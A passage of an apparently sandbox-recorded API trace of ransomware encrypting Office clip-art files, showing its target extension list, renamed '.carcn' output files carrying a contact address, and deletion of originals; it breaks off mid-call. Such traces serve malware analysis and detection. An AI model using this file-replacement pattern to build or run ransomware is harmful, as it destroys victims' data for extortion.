[0309.454] lstrlenW (lpString=".rar") returned 4 [0309.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.454] lstrlenW (lpString=".bz2") returned 4 [0309.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.454] lstrlenW (lpString=".7z") returned 3 [0309.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0309.454] lstrlenW (lpString=".dbf") returned 4 [0309.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0309.454] lstrlenW (lpString=".1cd") returned 4 [0309.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0309.454] lstrlenW (lpString=".jpg") returned 4 [0309.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.454] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.454] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0309.457] GetLastError () returned 0x0 [0309.457] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x347c, lpOverlapped=0x0) returned 1 [0309.880] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3480, lpOverlapped=0x0) returned 1 [0309.881] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.881] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.881] SetEndOfFile (hFile=0x398) returned 1 [0310.222] CloseHandle (hObject=0x398) returned 1 [0310.228] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.228] SetEndOfFile (hFile=0x334) returned 1 [0310.232] CloseHandle (hObject=0x334) returned 1 [0310.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0310.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0310.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0310.233] lstrlenW (lpString=".doc") returned 4 [0310.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.233] lstrlenW (lpString=".docx") returned 5 [0310.233] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.233] lstrlenW (lpString=".pdf") returned 4 [0310.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.233] lstrlenW (lpString=".xls") returned 4 [0310.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.233] lstrlenW (lpString=".xlsx") returned 5 [0310.233] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.234] lstrlenW (lpString=".ppt") returned 4 [0310.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0310.234] lstrlenW (lpString=".zip") returned 4 [0310.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.234] lstrlenW (lpString=".rar") returned 4 [0310.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.234] lstrlenW (lpString=".bz2") returned 4 [0310.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.234] lstrlenW (lpString=".7z") returned 3 [0310.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0310.234] lstrlenW (lpString=".dbf") returned 4 [0310.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0310.234] lstrlenW (lpString=".1cd") returned 4 [0310.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0310.234] lstrlenW (lpString=".jpg") returned 4 [0310.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.235] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.235] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.236] GetLastError () returned 0x0 [0310.236] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2ce4, lpOverlapped=0x0) returned 1 [0310.238] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0310.239] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.239] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.239] SetEndOfFile (hFile=0x37c) returned 1 [0310.240] CloseHandle (hObject=0x37c) returned 1 [0310.240] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.240] SetEndOfFile (hFile=0x334) returned 1 [0310.241] CloseHandle (hObject=0x334) returned 1 [0310.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0310.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0310.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0310.242] lstrlenW (lpString=".doc") returned 4 [0310.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.242] lstrlenW (lpString=".docx") returned 5 [0310.242] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0310.242] lstrlenW (lpString=".pdf") returned 4 [0310.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.243] lstrlenW (lpString=".xls") returned 4 [0310.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.243] lstrlenW (lpString=".xlsx") returned 5 [0310.243] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0310.243] lstrlenW (lpString=".ppt") returned 4 [0310.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0310.243] lstrlenW (lpString=".zip") returned 4 [0310.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.243] lstrlenW (lpString=".rar") returned 4 [0310.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.243] lstrlenW (lpString=".bz2") returned 4 [0310.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.243] lstrlenW (lpString=".7z") returned 3 [0310.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0310.243] lstrlenW (lpString=".dbf") returned 4 [0310.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0310.243] lstrlenW (lpString=".1cd") returned 4 [0310.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0310.243] lstrlenW (lpString=".jpg") returned 4 [0310.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.244] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.244] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.245] GetLastError () returned 0x0 [0310.245] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x7680, lpOverlapped=0x0) returned 1 [0310.255] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x7690, lpOverlapped=0x0) returned 1 [0310.257] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.257] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.257] SetEndOfFile (hFile=0x37c) returned 1 [0310.257] CloseHandle (hObject=0x37c) returned 1 [0310.257] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.257] SetEndOfFile (hFile=0x334) returned 1 [0310.258] CloseHandle (hObject=0x334) returned 1 [0310.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0310.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0310.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0310.260] lstrlenW (lpString=".doc") returned 4 [0310.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.260] lstrlenW (lpString=".docx") returned 5 [0310.260] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0310.260] lstrlenW (lpString=".pdf") returned 4 [0310.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.260] lstrlenW (lpString=".xls") returned 4 [0310.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.260] lstrlenW (lpString=".xlsx") returned 5 [0310.260] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0310.260] lstrlenW (lpString=".ppt") returned 4 [0310.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0310.260] lstrlenW (lpString=".zip") returned 4 [0310.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.260] lstrlenW (lpString=".rar") returned 4 [0310.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.260] lstrlenW (lpString=".bz2") returned 4 [0310.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.260] lstrlenW (lpString=".7z") returned 3 [0310.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0310.260] lstrlenW (lpString=".dbf") returned 4 [0310.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0310.260] lstrlenW (lpString=".1cd") returned 4 [0310.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0310.261] lstrlenW (lpString=".jpg") returned 4 [0310.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.267] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.267] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0310.268] GetLastError () returned 0x0 [0310.268] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x52e0, lpOverlapped=0x0) returned 1 [0310.274] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x52f0, lpOverlapped=0x0) returned 1 [0310.275] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.275] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.275] SetEndOfFile (hFile=0x35c) returned 1 [0310.276] CloseHandle (hObject=0x35c) returned 1 [0310.276] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.276] SetEndOfFile (hFile=0x398) returned 1 [0310.277] CloseHandle (hObject=0x398) returned 1 [0310.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0310.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0310.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0310.278] lstrlenW (lpString=".doc") returned 4 [0310.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.278] lstrlenW (lpString=".docx") returned 5 [0310.278] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0310.278] lstrlenW (lpString=".pdf") returned 4 [0310.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.278] lstrlenW (lpString=".xls") returned 4 [0310.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.278] lstrlenW (lpString=".xlsx") returned 5 [0310.278] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0310.278] lstrlenW (lpString=".ppt") returned 4 [0310.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0310.279] lstrlenW (lpString=".zip") returned 4 [0310.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.279] lstrlenW (lpString=".rar") returned 4 [0310.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.279] lstrlenW (lpString=".bz2") returned 4 [0310.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.279] lstrlenW (lpString=".7z") returned 3 [0310.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0310.279] lstrlenW (lpString=".dbf") returned 4 [0310.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0310.279] lstrlenW (lpString=".1cd") returned 4 [0310.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0310.279] lstrlenW (lpString=".jpg") returned 4 [0310.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.280] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.280] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0310.280] GetLastError () returned 0x0 [0310.281] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xdf0, lpOverlapped=0x0) returned 1 [0310.738] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xe00, lpOverlapped=0x0) returned 1 [0310.739] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.739] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.739] SetEndOfFile (hFile=0x35c) returned 1 [0310.828] CloseHandle (hObject=0x35c) returned 1 [0310.828] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.828] SetEndOfFile (hFile=0x398) returned 1 [0310.829] CloseHandle (hObject=0x398) returned 1 [0310.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0310.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0310.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0310.830] lstrlenW (lpString=".doc") returned 4 [0310.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.830] lstrlenW (lpString=".docx") returned 5 [0310.830] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.830] lstrlenW (lpString=".pdf") returned 4 [0310.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.830] lstrlenW (lpString=".xls") returned 4 [0310.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.830] lstrlenW (lpString=".xlsx") returned 5 [0310.830] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.830] lstrlenW (lpString=".ppt") returned 4 [0310.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0310.830] lstrlenW (lpString=".zip") returned 4 [0310.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.830] lstrlenW (lpString=".rar") returned 4 [0310.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.830] lstrlenW (lpString=".bz2") returned 4 [0310.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.831] lstrlenW (lpString=".7z") returned 3 [0310.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0310.831] lstrlenW (lpString=".dbf") returned 4 [0310.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0310.831] lstrlenW (lpString=".1cd") returned 4 [0310.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0310.831] lstrlenW (lpString=".jpg") returned 4 [0310.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.831] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.831] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0310.832] GetLastError () returned 0x0 [0310.832] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xbf4, lpOverlapped=0x0) returned 1 [0310.874] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, 